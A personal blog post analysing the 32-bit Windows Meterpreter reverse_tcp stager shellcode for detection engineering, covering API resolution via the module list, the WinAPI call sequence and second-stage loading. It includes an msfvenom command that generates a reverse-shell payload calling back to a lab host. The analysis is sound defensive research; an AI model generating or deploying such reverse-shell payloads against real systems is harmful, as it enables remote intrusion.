This blog entry covers personal technical research on the meterpreter staging payload. Meterpreter, as part of the Metasploit framework developed by Rapid7, is a C2 framework used by white and black hats alike.

To begin analysis, I generated a 32-bit Windows meterpreter shellcode with the command msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.128 LPORT=443 -f c. The objective is to understand how the shellcode loads the necessary DLLs and executes the second stage payload.

Understanding the mechanisms of such shellcodes will prove useful in detection engineering.


1. The “main” Function

To give a high-level overview of the shellcode - there is a main function at offset 0x95, and a load-execute function at offset 0x06. load-execute is called from main multiple times.

Parameteres are pushed onto the stack from main and are passed into load-execute to be passed into WinAPIs.

ida_main


2. The “load-execute” Function

In ideal shellcode conditions, load-execute will be called 7 times to resolve and execute the following WinAPIs in order.

  • kernel32.LoadLibraryA
  • ws_32.WSAStartup
  • ws_32.WSASocketA
  • ws_32.connect
  • ws_32.recv
  • kernel32.VirtualAlloc
  • ws_32.recv (receives second stage payload)


I’ll describe the library loading process in pseuodocode.

for module in moduleList:
    for export in module.exports:
        if signature.matches(export):
            export()


The shellcode obtains the InMemoryOrderModuleList structure, which it iterates to find the required WinAPI through the ExportDirectory structure. This allows the extraction of WinAPI addresses without calling GetProcAddress.

ida_load2


In the first load-execute call, the shellcode finds the address of LoadLibraryA and calls LoadLibraryA("ws2_32"), the Winsock dll, to enable networking capabilities.

loadlibrary_x32


3. Second Stage Payload

Memory space for the second stage payload is allocated with VirtualAlloc. The memory space is then populated with the payload received in the second ws32.recv call.

ida_virtualalloc